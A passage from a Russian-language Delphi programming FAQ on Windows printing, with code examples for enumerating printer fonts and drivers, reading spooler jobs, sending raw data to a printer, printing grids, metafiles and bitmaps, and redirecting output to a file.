  Memo.Lines.Add(StrPas(@lf.lfFaceName) +
    #32 + IntToStr(lf.lfHeight));
  result := 1;
end;

function EnumFontFamiliesProc(var lf: TLogFont;
  var tm: TNewTextMetric;
  FontType: integer;
  var Memo: TMemo): integer
{$IFDEF WIN32} stdcall;
{$ELSE}; export;
{$ENDIF}
begin
  if FontType = TRUETYPE_FONTTYPE then
  begin
    Memo.Lines.Add(StrPas(@lf.lfFaceName) + #32 + 'All Sizes');
  end
  else
    EnumFontFamilies(Printer.Handle,
      @lf.lfFaceName,
      @EnumFontFamilyProc,
      LongInt(@Memo));
  result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  tm: TTextMetric;
  i: integer;
begin
  if PrintDialog1.Execute then
  begin
    EnumFontFamilies(Printer.Handle,
      nil,
      @EnumFontFamiliesProc,
      LongInt(@Memo1));
  end;
end;

Взято с http://delphiworld.narod.ru


Как узнать драйвер принтера

Иногда метод GetPrinter() компонента TPrinter возвращает пустую строку, поэтому целесообразно воспользоваться API для получения необходимых параметров из файла Windows.ini.

uses Printers;

{$IFNDEF WIN32}
const MAX_PATH = 144;
{$ENDIF}

procedure TForm1.Button1Click(Sender: TObject);
var
  pDevice: pChar;
  pDriver: pChar;
  pPort: pChar;
  hDMode: THandle;
begin
  if PrintDialog1.Execute then begin
    GetMem(pDevice, cchDeviceName);
    GetMem(pDriver, MAX_PATH);
    GetMem(pPort, MAX_PATH);
    Printer.GetPrinter(pDevice, pDriver, pPort, hDMode);
    if lStrLen(pDriver) = 0 then begin
      GetProfileString('Devices', pDevice, '', pDriver, MAX_PATH);
      pDriver[pos(',', pDriver) - 1] := #0;
    end;
    if lStrLen(pPort) = 0 then begin
      GetProfileString('Devices', pDevice, '', pPort, MAX_PATH);
      lStrCpy(pPort, @pPort[lStrLen(pPort) + 2]);
    end;
    Memo1.Lines.Add('Device := ' + StrPas(pDevice));
    Memo1.Lines.Add('Driver := ' + StrPas(pDriver));
    Memo1.Lines.Add('Port := ' + StrPas(pPort));
    FreeMem(pDevice, cchDeviceName);
    FreeMem(pDriver, MAX_PATH);
    FreeMem(pPort, MAX_PATH);
  end;
end;

Взято с http://delphiworld.narod.ru


Как получить информацию о заданиях на принтере

В Windows существуют встроенные средства для мониторинга заданий на принтере. Однако, давайте разберёмся, как отслеживать задания на принтере программно. Для существует API функция "EnumJobs", которая позволяет получить давольно много информации о текущем состоянии принтера (Имя задания, Состояние, дату, время и т.д.).

Ниже представлена функция, которая использует EnumJobs и возвращает массив структуры, в котором представлена вся необходимая информация:

uses WinSpool;

type
  JOB_INFO_1_ARRAY = array of JOB_INFO_1;

  function GetSpoolerJobs(sPrinterName: string): JOB_INFO_1_ARRAY;

var
  i: Integer;
  hPrinter: THandle;
  bResult: Boolean;
  cbBuf: DWORD;
  pcbNeeded: DWORD;
  pcReturned: DWORD;
  aJobs: array[0..99] of JOB_INFO_1;
begin
  cbBuf := 1000;

  bResult := OpenPrinter(PChar(sPrinterName), hPrinter, nil);
  if not bResult then
  begin
    ShowMessage('Error opening the printer');
    exit;
  end;

  bResult := EnumJobs(hPrinter, 0, Length(aJobs), 1, @aJobs, cbBuf, pcbNeeded,
    pcReturned);
  if not bResult then
  begin
    ShowMessage('Error Getting Jobs information');
    exit;
  end;

  ClosePrinter(hPrinter);

  for i := 0 to pcReturned - 1 do
  begin
    if aJobs[i].pDocument <> nil then
    begin
      SetLength(Result, Length(Result) + 1);
      Result[Length(Result) - 1] := aJobs[i];
    end;
  end;
end;

Пример использования:

Создайте новый проект со StringGrid и Timer.
В StringGrid установите свойства "ColCount" и "RowCount" в 20.
У таймера (Timer) установите свойство "Interval" в 500.
В обработчик события "OnTime" таймера добавьте следующий код:

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i, ii: Integer;
  aJobs: JOB_INFO_1_ARRAY;
begin
  for i := 0 to StringGrid1.ColCount - 1 do
    for ii := 0 to StringGrid1.RowCount - 1 do
      StringGrid1.Cells[i, ii] := '';

  aJobs := GetSpoolerJobs('HP LaserJet 6L PCL');

  for i := 0 to Length(aJobs) - 1 do
  begin
    StringGrid1.Cells[i, 0] := aJobs[i].pPrinterName;
    StringGrid1.Cells[i, 1] := aJobs[i].pMachineName;
    StringGrid1.Cells[i, 2] := aJobs[i].pUserName;
    StringGrid1.Cells[i, 3] := aJobs[i].pDocument;
    StringGrid1.Cells[i, 4] := aJobs[i].pDatatype;
    StringGrid1.Cells[i, 5] := aJobs[i].pStatus;
    StringGrid1.Cells[i, 6] := IntToStr(aJobs[i].Status);

    case aJobs[i].Status of
      JOB_STATUS_PAUSED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAUSED';
      JOB_STATUS_ERROR: StringGrid1.Cells[i, 6] := 'JOB_STATUS_ERROR';
      JOB_STATUS_DELETING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETING';
      JOB_STATUS_SPOOLING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_SPOOLING';
      JOB_STATUS_PRINTING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTING';
      JOB_STATUS_OFFLINE: StringGrid1.Cells[i, 6] := 'JOB_STATUS_OFFLINE';
      JOB_STATUS_PAPEROUT: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAPEROUT';
      JOB_STATUS_PRINTED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTED';
      JOB_STATUS_DELETED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETED';
      JOB_STATUS_BLOCKED_DEVQ: StringGrid1.Cells[i, 6] :=
        'JOB_STATUS_BLOCKED_DEVQ';
      JOB_STATUS_USER_INTERVENTION: StringGrid1.Cells[i, 6] :=
        'JOB_STATUS_USER_INTERVENTION';
      JOB_STATUS_RESTART: StringGrid1.Cells[i, 6] := 'JOB_STATUS_RESTART';
      JOB_POSITION_UNSPECIFIED: StringGrid1.Cells[i, 6] :=
        'JOB_POSITION_UNSPECIFIED';

    else
      StringGrid1.Cells[i, 6] := 'Unknown status...';
    end;
  end;

  StringGrid1.Refresh;
end;

Запустите проект и попробуйте что-нибудь отправить на печать из MSWord или другого приложения и посмотрите в stringgrid.
Некоторые замечания и дополнения:

Структура JOB_INFO_1 объявлена в юните WinSpool следующим образом:

JOB_INFO_1 = record
  JobId: DWORD;
  pPrinterName: PAnsiChar;
  pMachineName: PAnsiChar;
  pUserName: PAnsiChar;
  pDocument: PAnsiChar;
  pDatatype: PAnsiChar;
  pStatus: PAnsiChar;
  Status: DWORD;
  Priority: DWORD;
  Position: DWORD;
  TotalPages: DWORD;
  PagesPrinted: DWORD;
  Submitted: TSystemTime;
end;

И массив так же можно объявить следующим образом:

aJobs: array[0..99] of JOB_INFO_1;

Взято с http://delphiworld.narod.ru


Как установить драйвер принтера

Приведенный пример устанавливает драйвер принтера. Вам необходимо скопировать файлы с драйвером принтера в каталог Windows\System и внести необходимые изменения в файл Win.Ini.

Примечание:

DriverName = Имя драйвера;
DRVFILE - имя файла с драйвером без расширения (".drv" - по умолчанию).

procedure TForm1.Button1Click(Sender: TObject);
var
  s: array [0..64] of char;
begin
  WriteProfileString('PrinterPorts', 'DriverName', 'DRVFILE,FILE:,15,45');
  WriteProfileString('Devices', 'DriverName', 'DRVFILE,FILE:');
  StrCopy(S, 'PrinterPorts');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
  StrCopy(S, 'Devices');
  SendMessage(HWND_BROADCAST, WM_WININICHANGE, 0, LongInt(@S));
end;

Взято с http://delphiworld.narod.ru


Печать

Cодержание раздела:

Как мне отправить на принтер чистый поток данных?
Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра?
Как распечатать TStringGrid?
Как распечатать PRN file?
Sending an image to the printer
Как прервать печать и заставить печатать свой файл?
Как распечатать bitmap?
Как вместо печати графики использовать резидентный шрифт принтера?
Хитрости печати
Печать повернутого текста
Растягивание изображения при печати
Как распечатать TImage?
Сохранение точных размеров при печати
Изменение свойств печати во время ее выполнения
Печать ячеек
Диалог прекращения печати
Прерывание работы принтера
Печать всей формы
Печать содержимого TMemo/TListbox
Печать текста в обход Windows
Печать с масштабированием
Печать в порт принтера New!
Подробное описание способа печати содержимого формы New!

См. также статьи в других разделах:
Печать Dos-файла в порт напрямую
Как производить Печать?
Работа с печатью в TWebBrowser
Как распечатать Excel файл?


Как мне отправить на принтер чистый поток данных?

Под Win16 Вы можете использовать функцию SpoolFile, или
Passthrough escape, если принтер поддерживает последнее.
Под Win32 Вы можете использовать WritePrinter.

'иже пример открытия принтера и записи чистого потока данных в принтер.
Учтите, что Вы должны передать корректное имя принтера, такое, как "HP LaserJet
5MP",
чтобы функция сработала успешно.

Конечно, Вы можете включать в поток данных любые необходимые управляющие коды,

которые могут потребоваться.

uses WinSpool;

procedure WriteRawStringToPrinter(PrinterName:String; S:String);
var
  Handle: THandle;
  N: DWORD;
  DocInfo1: TDocInfo1;
begin
  if not OpenPrinter(PChar(PrinterName), Handle, nil) then
  begin
    ShowMessage('error ' + IntToStr(GetLastError));
    Exit;
  end;
  with DocInfo1 do begin
    pDocName := PChar('test doc');
    pOutputFile := nil;
    pDataType := 'RAW';
  end;
  StartDocPrinter(Handle, 1, @DocInfo1);

  StartPagePrinter(Handle);
  WritePrinter(Handle, PChar(S), Length(S), N);
  EndPagePrinter(Handle);
  EndDocPrinter(Handle);
  ClosePrinter(Handle);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  WriteRawStringToPrinter('HP', 'Test This');
end;

(Borland FAQ N714, переведен Акжаном Абдулиным)

Взято с сайта http://blackman.wp-club.net/


Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра?

Маленькое пpедисловие.

Т.к. основная моя pабота связана с написанием софта для института,
обpабатывающего геоданные, то и в отделе, где pаботаю, так же мучаются
пpоблемами печати (в одном случае - надо печатать каpты, с изолиниями,
заливкой, подписями и пp.; в дpугом случае - свои таблицы и сложные отpисовки
по внешнему виду).
В итоге, моим коллегой был написан кусок, в котоpом ему удалось добиться
качественной печати в двух pежимах : MetaFile, Bitmap.
Работа с MetaFile у нас сложилась уже истоpически - достаточно удобно

описать ф-цию, котоpая что-то отpисовыват (хоть на экpане, хоть где), котоpая
пpинимает TCanvas, и подсовывать ей то канвас дисплея, то канвас метафайла, а
потом этот Metafile выбpасывать на печать.
Достаточно pешить лишь пpоблемы масштабиpования, после чего - впеpед.

Главная головная боль пpи таком методе - пpи отpисовке больших кусков,
котоpые занимают весь лист или его большую часть, надо этот метафайл по
pазмеpам делать сpазу же в пикселах на этот самый лист. Тогда пpи изменении

pазмеpов (пpосмотp пеpед печатью) - искажения пpи уменьшении не кpитичны, а вот
пpи увеличении линии и шpифты не "поползут".

Итак :

Hабоp идей, котоpые были написаны (с) Андpеем Аpистовым, пpогpаммистом
отдела матобеспечения СибHИИHП, г. Тюмень. Моего здесь только - пpиделывание
свеpху надстpоек для личного использования.

Вся pабота сводится к следующим шагам :

1. Получить необходимые коэф-ты.
2. Постpоить метафайл или bmp для последующего вывода на печать.

3. Hапечатать.

Hиже пpиведенный кусок (пpошу меня не пинать, но писал я и писал для
достаточно кpивой pеализации с пеpедачей паpаметpов чеpез глобальные
пеpеменные) я использую для того, чтобы получить коэф-ты пеpесчета.

kScale - для пеpесчета pазмеpов шpифта, а потом уже закладываюсь на его
pазмеpы и получаю два новых коэф-та для kW, kH - котоpые и позволяют мне с
учетом высоты шpифта выводить гpафику и пp. У меня пpи pаботе kW <> kH, что
пpиходится учитывать.

Решили пункт 1.

procedure SetKoeffMeta; // установить коэф-ты
var
  PrevMetafile : TMetafile;
  MetaCanvas : TMetafileCanvas;
begin
  PrevMetafile  :=  nil;
  MetaCanvas    :=  nil;
  try
    PrevMetaFile  :=  TMetaFile.Create;
    try
      MetaCanvas  :=  TMetafileCanvas.Create( PrevMetafile, 0 );
      kScale := GetDeviceCaps( Printer.Handle, LOGPIXELSX ) /
Screen.PixelsPerInch;
      MetaCanvas.Font.Assign( oGrid.Font);
      MetaCanvas.Font.Size := Round( oGrid.Font.Size * kScale );

      kW := MetaCanvas.TextWidth('W') /  oGrid.Canvas.TextWidth('W');
      kH := MetaCanvas.TextHeight('W') / oGrid.Canvas.TextHeight('W');
    finally
      MetaCanvas.Free;
    end;
  finally
    PrevMetafile.Free;
  end;
end;

Решаем 2.

...
var
  PrevMetafile : TMetafile;
  MetaCanvas : TMetafileCanvas;
begin
  PrevMetafile  :=  nil;
  MetaCanvas    :=  nil;

  try
    PrevMetaFile  :=  TMetaFile.Create;

    PrevMetafile.Width  :=  oWidth;

    PrevMetafile.Height :=  oHeight;

    try
      MetaCanvas  :=  TMetafileCanvas.Create( PrevMetafile, 0 );

      // здесь должен быть ваш код - с учетом масштабиpования.
      // я эту вещь вынес в ассигнуемую пpоцедуpу, и данный блок
      // вызываю лишь для отpисовки целой стpаницы.

      см. PS1.

    finally
      MetaCanvas.Free;
    end;
...

PS1. Код, котоpый используется для отpисовки. oCanvas - TCanvas метафайла.

...
var
  iHPage : integer; // высота страницы

begin
  with oCanvas do begin

    iHPage := 3000;

   // залили область метайфайла белым - для дальнейшей pаботы
    Pen.Color   := clBlack;
    Brush.Color := clWhite;
    FillRect( Rect( 0, 0, 2000, iHPage ) );

   // установили шpифты - с учетом их дальнейшего масштабиpования
    oCanvas.Font.Assign( oGrid.Font);
    oCanvas.Font.Size := Round( oGrid.Font.Size * kScale );

...
    xEnd := xBegin;
    iH := round( RowHeights[ iRow ] * kH );
    for iCol := 0 to ColCount - 1 do begin

      x := xEnd;
      xEnd := x + round( ColWidths[ iCol ] * kW );
      Rectangle( x, yBegin, xEnd, yBegin + iH );
      r := Rect( x + 1, yBegin + 1, xEnd - 1, yBegin + iH - 1 );
      s := Cells[ iCol, iRow ];

      // выписали в полученный квадрат текст
      DrawText( oCanvas.Handle, PChar( s ), Length( s ), r, DT_WORDBREAK or
DT_CENTER );

Главное, что важно помнить на этом этапе - это не забывать, что все
выводимые объекты должны пользоваться описанными коэф-тами (как вы их получите

- это уже ваше дело). В данном случае - я pаботаю с пеpеделанным TStringGrid,
котоpый сделал для многостpаничной печати.

Последний пункт - надо сфоpмиpованный метафайл или bmp напечатать.

...
var
  Info: PBitmapInfo;
  InfoSize: Integer;
  Image: Pointer;
  ImageSize: DWORD;
  Bits: HBITMAP;
  DIBWidth, DIBHeight: Longint;
  PrintWidth, PrintHeight: Longint;
begin
...

  case ImageType of

    itMetafile: begin
      if Picture.Metafile<>nil then

        Printer.Canvas.StretchDraw( Rect(aLeft, aTop, aLeft+fWidth,
                 aTop+fHeight), Picture.Metafile);
    end;

    itBitmap: begin

      if Picture.Bitmap<>nil then begin
        with Printer, Canvas do begin
          Bits := Picture.Bitmap.Handle;
          GetDIBSizes(Bits, InfoSize, ImageSize);
          Info := AllocMem(InfoSize);
          try
            Image := AllocMem(ImageSize);
            try
              GetDIB(Bits, 0, Info^, Image^);

              with Info^.bmiHeader do begin
                DIBWidth := biWidth;
                DIBHeight := biHeight;
              end;
              PrintWidth := DIBWidth;
              PrintHeight := DIBHeight;
              StretchDIBits(Canvas.Handle, aLeft, aTop, PrintWidth,
                        PrintHeight, 0, 0, DIBWidth, DIBHeight, Image, Info^,
                        DIB_RGB_COLORS, SRCCOPY);
            finally
              FreeMem(Image, ImageSize);

            end;
          finally
            FreeMem(Info, InfoSize);
          end;
        end;
      end;
    end;
  end;

В чем заключается идея PreView ? Остается имея на pуках Metafila, Bmp -
отpисовать с пеpесчетом внешний вид изобpажения (надо высчитать левый веpхний
угол и pазмеpы "пpедваpительно пpосматpиваемого" изобpажения.
Для показа изобpажения достаточно использовать StretchDraw.

После того, как удалось вывести объекты на печать, пpоблему создания PreView

pешили как "домашнее задание".

Кстати, когда мы pаботаем с Bmp, то для пpосмотpа используем следующий хинт
- записываем битовый обpаз чеpез такую пpоцедуpу :

    w:=MulDiv(Bmp.Width,GetDeviceCaps(Printer.Handle,LOGPIXELSX),Screen.Pixels
              PerInch);
    h:=MulDiv(Bmp.Height,GetDeviceCaps(Printer.Handle,LOGPIXELSY),Screen.Pixel
              sPerInch);
    PrevBmp.Width:=w;
    PrevBmp.Height:=h;
    PrevBmp.Canvas.StretchDraw(Rect(0,0,w,h),Bmp);

    aPicture.Assign(PrevBmp);

Пpи этом масштабиpуется битовый обpаз с минимальными искажениями, а вот пpи
печати - пpиходится bmp печатать именно так, как описано выше.
Итог - наша bmp пpи печати чуть меньше, чем печатать ее чеpез WinWord, но
пpи этом - внешне - без каких-либо искажений и пp.

Imho, я для себя пpоблему печати pешил. Hа основе вышесказанного, сделал
PreView для myStringGrid, где вывожу сложные многостpочные заголовки и пp. на

несколько листов, осталось кое-что допилить, но с пpинтеpом у меня пpоблем не
будет уже точно :)

PS. Кстати, Андpей Аpистов на основе своей наpаботки сделал сложные
геокаpты, котоpые по качестве _не_хуже_, а может и лучше, чем выдает Surfer
(специалисты поймут). Hа ватмат.

PPS. Пpошу пpощения за возможные стилистические неточности - вpемя вышло,
охpана уже pугается. Hо код - выдpан из pаботающих исходников.

Боpисов Олег Hиколаевич (ZB)
panterra@sbtx.tmn.ru

(2:5077/5)

Взято с сайта http://blackman.wp-club.net/


Как распечатать TStringGrid?

uses
  Printers;

procedure PrintGrid(sGrid: TStringGrid; sTitle: string);
var
  X1, X2: Integer;
  Y1, Y2: Integer;
  TmpI: Integer;
  F: Integer;
  TR: TRect;
begin
  Printer.Title := sTitle;
  Printer.BeginDoc;
  Printer.Canvas.Pen.Color  := 0;
  Printer.Canvas.Font.Name  := 'Times New Roman';
  Printer.Canvas.Font.Size  := 12;
  Printer.Canvas.Font.Style := [fsBold, fsUnderline];
  Printer.Canvas.TextOut(0, 100, Printer.Title);
  for F := 1 to sGrid.ColCount - 1 do
  begin
    X1 := 0;
    for TmpI := 1 to (F - 1) do
      X1 := X1 + 5 * (sGrid.ColWidths[TmpI]);
    Y1 := 300;
    X2 := 0;
    for TmpI := 1 to F do
      X2 := X2 + 5 * (sGrid.ColWidths[TmpI]);
    Y2 := 450;
    TR := Rect(X1, Y1, X2 - 30, Y2);
    Printer.Canvas.Font.Style := [fsBold];
    Printer.Canvas.Font.Size := 7;
    Printer.Canvas.TextRect(TR, X1 + 50, 350, sGrid.Cells[F, 0]);
    Printer.Canvas.Font.Style := [];
    for TmpI := 1 to sGrid.RowCount - 1 do
    begin
      Y1 := 150 * TmpI + 300;
      Y2 := 150 * (TmpI + 1) + 300;
      TR := Rect(X1, Y1, X2 - 30, Y2);
      Printer.Canvas.TextRect(TR, X1 + 50, Y1 + 50, sGrid.Cells[F, TmpI]);
    end;
  end;
  Printer.EndDoc;
end;

//Examplem, Beispiel:

procedure TForm1.Button1Click(Sender: TObject);
begin
  PrintGrid(StringGrid1, 'Print Stringgrid');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как распечатать PRN file?

uses
  Printers, Winspool;

function SpoolFile(const FileName, PrinterName: string): Integer;
var
  Buffer: record
    JobInfo: record // ADDJOB_INFO_1
      Path: PChar;
      JobID: DWORD;
    end;
    PathBuffer: array[0..255] of Char;
  end;
  SizeNeeded: DWORD;
  Handle: THandle;
  PrtName: string;
  ok: Boolean;
begin
  // Flush job to printer
  PrtName := PrinterName;
  if PrtName = '' then
    PrtName := Printer.Printers[Printer.PrinterIndex]; // Default printer name
  ok := False;
  if OpenPrinter(PChar(PrtName), Handle, nil) then
    if AddJob(Handle, 1, @Buffer, SizeOf(Buffer), SizeNeeded) then
      if CopyFile(PChar(FileName), Buffer.JobInfo.Path, True) then
        if ScheduleJob(Handle, Buffer.JobInfo.JobID) then
          ok := True;
  if not ok then Result := GetLastError
  else
    Result := 0;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if SpoolFile('c:\test.prn', Printer.Printers[0]) = 0 then
    ShowMessage('No error...');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Sending an image to the printer

Sending a bitmap based on the screen to the printer is an
invalid operation that will usually fail, unless the print
driver has been designed to detect this error condition and
compensate for the error. This means you should use the VCL
canvas methods Draw, StretchDraw,CopyRect, BrushCopy, and
the like to transfer a bitmap to the printer, since the
underlying bitmap is based on the screen, and is device
dependent. The only way to reliably print an image is to
use DIBs (Device Independent Bitmaps). Getting a valid DIB can
be difficult, as there are many Windows API functions that must
be used correctly. Further, many video drivers incorrectly fill
in the DIB structure in regards to the color table in the DIB.

The following example demonstrates an attempt to overcome
some of these problems and limitations. The example should
compile successfully under all versions of Delphi/C++ Builder.

The core function in the example, BltTBitmapAsDib(), accepts
a handle to a device to image to, the x and y coordinates you
wish the bitmap to be imaged at, the width and height you wish
the image to be (stretching and shrinking is acceptable), and
the TBitmap you wish to image.

uses Printers;

type
  PPalEntriesArray = ^TPalEntriesArray; {for palette re-construction}
  TPalEntriesArray = array[0..0] of TPaletteEntry;

procedure BltTBitmapAsDib(DestDc : hdc;   {Handle of where to blt}
                          x : word;       {Bit at x}
                          y : word;       {Blt at y}
                          Width : word;   {Width to stretch}
                          Height : word;  {Height to stretch}
                          bm : TBitmap);  {the TBitmap to Blt}
var
  OriginalWidth :LongInt;               {width of BM}
  dc : hdc;                             {screen dc}
  IsPaletteDevice : bool;               {if the device uses palettes}
  IsDestPaletteDevice : bool;           {if the device uses palettes}
  BitmapInfoSize : integer;             {sizeof the bitmapinfoheader}
  lpBitmapInfo : PBitmapInfo;           {the bitmap info header}
  hBm : hBitmap;                        {handle to the bitmap}
  hPal : hPalette;                      {handle to the palette}
  OldPal : hPalette;                    {temp palette}
  hBits : THandle;                      {handle to the DIB bits}
  pBits : pointer;                      {pointer to the DIB bits}
  lPPalEntriesArray : PPalEntriesArray; {palette entry array}
  NumPalEntries : integer;              {number of palette entries}
  i : integer;                          {looping variable}
begin
{If range checking is on - lets turn it off for now}
{we will remember if range checking was on by defining}
{a define called CKRANGE if range checking is on.}
{We do this to access array members past the arrays}
{defined index range without causing a range check}
{error at runtime. To satisfy the compiler, we must}
{also access the indexes with a variable. ie: if we}
{have an array defined as a: array[0..0] of byte,}
{and an integer i, we can now access a[3] by setting}
{i := 3; and then accessing a[i] without error}
{$IFOPT R+}
  {$DEFINE CKRANGE}
  {$R-}
{$ENDIF}

 {Save the original width of the bitmap}
  OriginalWidth := bm.Width;

 {Get the screen's dc to use since memory dc's are not reliable}
  dc := GetDc(0);
 {Are we a palette device?}
  IsPaletteDevice :=
    GetDeviceCaps(dc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;
 {Give back the screen dc}
  dc := ReleaseDc(0, dc);

 {Allocate the BitmapInfo structure}
  if IsPaletteDevice then
    BitmapInfoSize := sizeof(TBitmapInfo) + (sizeof(TRGBQUAD) * 255)
  else
    BitmapInfoSize := sizeof(TBitmapInfo);
  GetMem(lpBitmapInfo, BitmapInfoSize);

 {Zero out the BitmapInfo structure}
  FillChar(lpBitmapInfo^, BitmapInfoSize, #0);

 {Fill in the BitmapInfo structure}
  lpBitmapInfo^.bmiHeader.biSize := sizeof(TBitmapInfoHeader);
  lpBitmapInfo^.bmiHeader.biWidth := OriginalWidth;
  lpBitmapInfo^.bmiHeader.biHeight := bm.Height;
  lpBitmapInfo^.bmiHeader.biPlanes := 1;
  if IsPaletteDevice then
    lpBitmapInfo^.bmiHeader.biBitCount := 8
  else
    lpBitmapInfo^.bmiHeader.biBitCount := 24;
  lpBitmapInfo^.bmiHeader.biCompression := BI_RGB;
  lpBitmapInfo^.bmiHeader.biSizeImage :=
    ((lpBitmapInfo^.bmiHeader.biWidth *
      longint(lpBitmapInfo^.bmiHeader.biBitCount)) div 8) *
      lpBitmapInfo^.bmiHeader.biHeight;
  lpBitmapInfo^.bmiHeader.biXPelsPerMeter := 0;
  lpBitmapInfo^.bmiHeader.biYPelsPerMeter := 0;
  if IsPaletteDevice then begin
    lpBitmapInfo^.bmiHeader.biClrUsed := 256;
    lpBitmapInfo^.bmiHeader.biClrImportant := 256;
  end else begin
    lpBitmapInfo^.bmiHeader.biClrUsed := 0;
    lpBitmapInfo^.bmiHeader.biClrImportant := 0;
  end;

 {Take ownership of the bitmap handle and palette}
  hBm := bm.ReleaseHandle;
  hPal := bm.ReleasePalette;

 {Get the screen's dc to use since memory dc's are not reliable}
  dc := GetDc(0);

  if IsPaletteDevice then begin
   {If we are using a palette, it must be}
   {selected into the dc during the conversion}
    OldPal := SelectPalette(dc, hPal, TRUE);
   {Realize the palette}
    RealizePalette(dc);
  end;
 {Tell GetDiBits to fill in the rest of the bitmap info structure}
  GetDiBits(dc,
            hBm,
            0,
            lpBitmapInfo^.bmiHeader.biHeight,
            nil,
            TBitmapInfo(lpBitmapInfo^),
            DIB_RGB_COLORS);

 {Allocate memory for the Bits}
  hBits := GlobalAlloc(GMEM_MOVEABLE,
                       lpBitmapInfo^.bmiHeader.biSizeImage);
  pBits := GlobalLock(hBits);
 {Get the bits}
  GetDiBits(dc,
            hBm,
            0,
            lpBitmapInfo^.bmiHeader.biHeight,
            pBits,
            TBitmapInfo(lpBitmapInfo^),
            DIB_RGB_COLORS);

  if IsPaletteDevice then begin
   {Lets fix up the color table for buggy video drivers}
    GetMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
   {$IFDEF VER100}
      NumPalEntries := GetPaletteEntries(hPal,
                                         0,
                                         256,
                                         lPPalEntriesArray^);
   {$ELSE}
      NumPalEntries := GetSystemPaletteEntries(dc,
                                               0,
                                               256,
                                               lPPalEntriesArray^);
   {$ENDIF}
    for i := 0 to (NumPalEntries - 1) do begin
      lpBitmapInfo^.bmiColors[i].rgbRed :=
        lPPalEntriesArray^[i].peRed;
      lpBitmapInfo^.bmiColors[i].rgbGreen :=
        lPPalEntriesArray^[i].peGreen;
      lpBitmapInfo^.bmiColors[i].rgbBlue :=
        lPPalEntriesArray^[i].peBlue;
    end;
    FreeMem(lPPalEntriesArray, sizeof(TPaletteEntry) * 256);
  end;

  if IsPaletteDevice then begin
   {Select the old palette back in}
    SelectPalette(dc, OldPal, TRUE);
   {Realize the old palette}
    RealizePalette(dc);
  end;

 {Give back the screen dc}
  dc := ReleaseDc(0, dc);

 {Is the Dest dc a palette device?}
  IsDestPaletteDevice :=
    GetDeviceCaps(DestDc, RASTERCAPS) and RC_PALETTE = RC_PALETTE;

  if IsPaletteDevice then begin
   {If we are using a palette, it must be}
   {selected into the dc during the conversion}
    OldPal := SelectPalette(DestDc, hPal, TRUE);
   {Realize the palette}
    RealizePalette(DestDc);
  end;

 {Do the blt}
  StretchDiBits(DestDc,
                x,
                y,
                Width,
                Height,
                0,
                0,
                OriginalWidth,
                lpBitmapInfo^.bmiHeader.biHeight,
                pBits,
                lpBitmapInfo^,
                DIB_RGB_COLORS,
                SrcCopy);

  if IsDestPaletteDevice then begin
   {Select the old palette back in}
    SelectPalette(DestDc, OldPal, TRUE);
   {Realize the old palette}
    RealizePalette(DestDc);
  end;

 {De-Allocate the Dib Bits}
  GlobalUnLock(hBits);
  GlobalFree(hBits);

 {De-Allocate the BitmapInfo}
  FreeMem(lpBitmapInfo, BitmapInfoSize);

 {Set the ownership of the bimap handles back to the bitmap}
  bm.Handle := hBm;
  bm.Palette := hPal;

  {Turn range checking back on if it was on when we started}
{$IFDEF CKRANGE}
  {$UNDEF CKRANGE}
  {$R+}
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if PrintDialog1.Execute then begin
    Printer.BeginDoc;
    BltTBitmapAsDib(Printer.Canvas.Handle,
                    0,
                    0,
                    Image1.Picture.Bitmap.Width,
                    Image1.Picture.Bitmap.Height,
                    Image1.Picture.Bitmap);
    Printer.EndDoc;
  end;
end;


Как прервать печать и заставить печатать свой файл?

uses
  printers;

{$R *.DFM}

procedure StartPrintToFile(filename: string);
var
  CTitle: array[0..31] of Char;
  DocInfo: TDocInfo;
begin
  with Printer do
  begin
    BeginDoc;
    { Abort job just started on API level. }
    EndPage(Canvas.handle);
    Windows.AbortDoc(Canvas.handle);
    { Restart it with a print file as destination. }
    StrPLCopy(CTitle, Title, SizeOf(CTitle) - 1);
    FillChar(DocInfo, SizeOf(DocInfo), 0);
    with DocInfo do
    begin
      cbSize := SizeOf(DocInfo);
      lpszDocName := CTitle;
      lpszOutput := PChar(filename);
    end;
    StartDoc(Canvas.handle, DocInfo);
    StartPage(Canvas.handle);
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  StartPrintToFile('C:\temp\temp.prn');
  try
    Printer.Canvas.TextOut(100, 100, 'Hello World.');
  finally
    Printer.endDoc;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как распечатать bitmap?

procedure StretchPrint(R: TRect; ABitmap: Graphics.TBitmap);
var
  dc: HDC;
  isDcPalDevice: Bool;
  hDibHeader: THandle;
  pDibHeader: pointer;
  hBits: THandle;
  pBits: pointer;
  ppal: PLOGPALETTE;
  pal: hPalette;
  Oldpal: hPalette;
  i: integer;
begin
  pal := 0;
  OldPal := 0;
  {Get the screen dc}
  dc := GetDc(0);
  {Allocate memory for a DIB structure}
  hDibHeader := GlobalAlloc(GHND, sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256));
  {get a pointer to the alloced memory}
  pDibHeader := GlobalLock(hDibHeader);
  {fill in the dib structure with info on the way we want the DIB}
  FillChar(pDibHeader^, sizeof(TBITMAPINFO) + (sizeof(TRGBQUAD) * 256), #0);
  PBITMAPINFOHEADER(pDibHeader)^.biSize := sizeof(TBITMAPINFOHEADER);
  PBITMAPINFOHEADER(pDibHeader)^.biPlanes := 1;
  PBITMAPINFOHEADER(pDibHeader)^.biBitCount := 8;
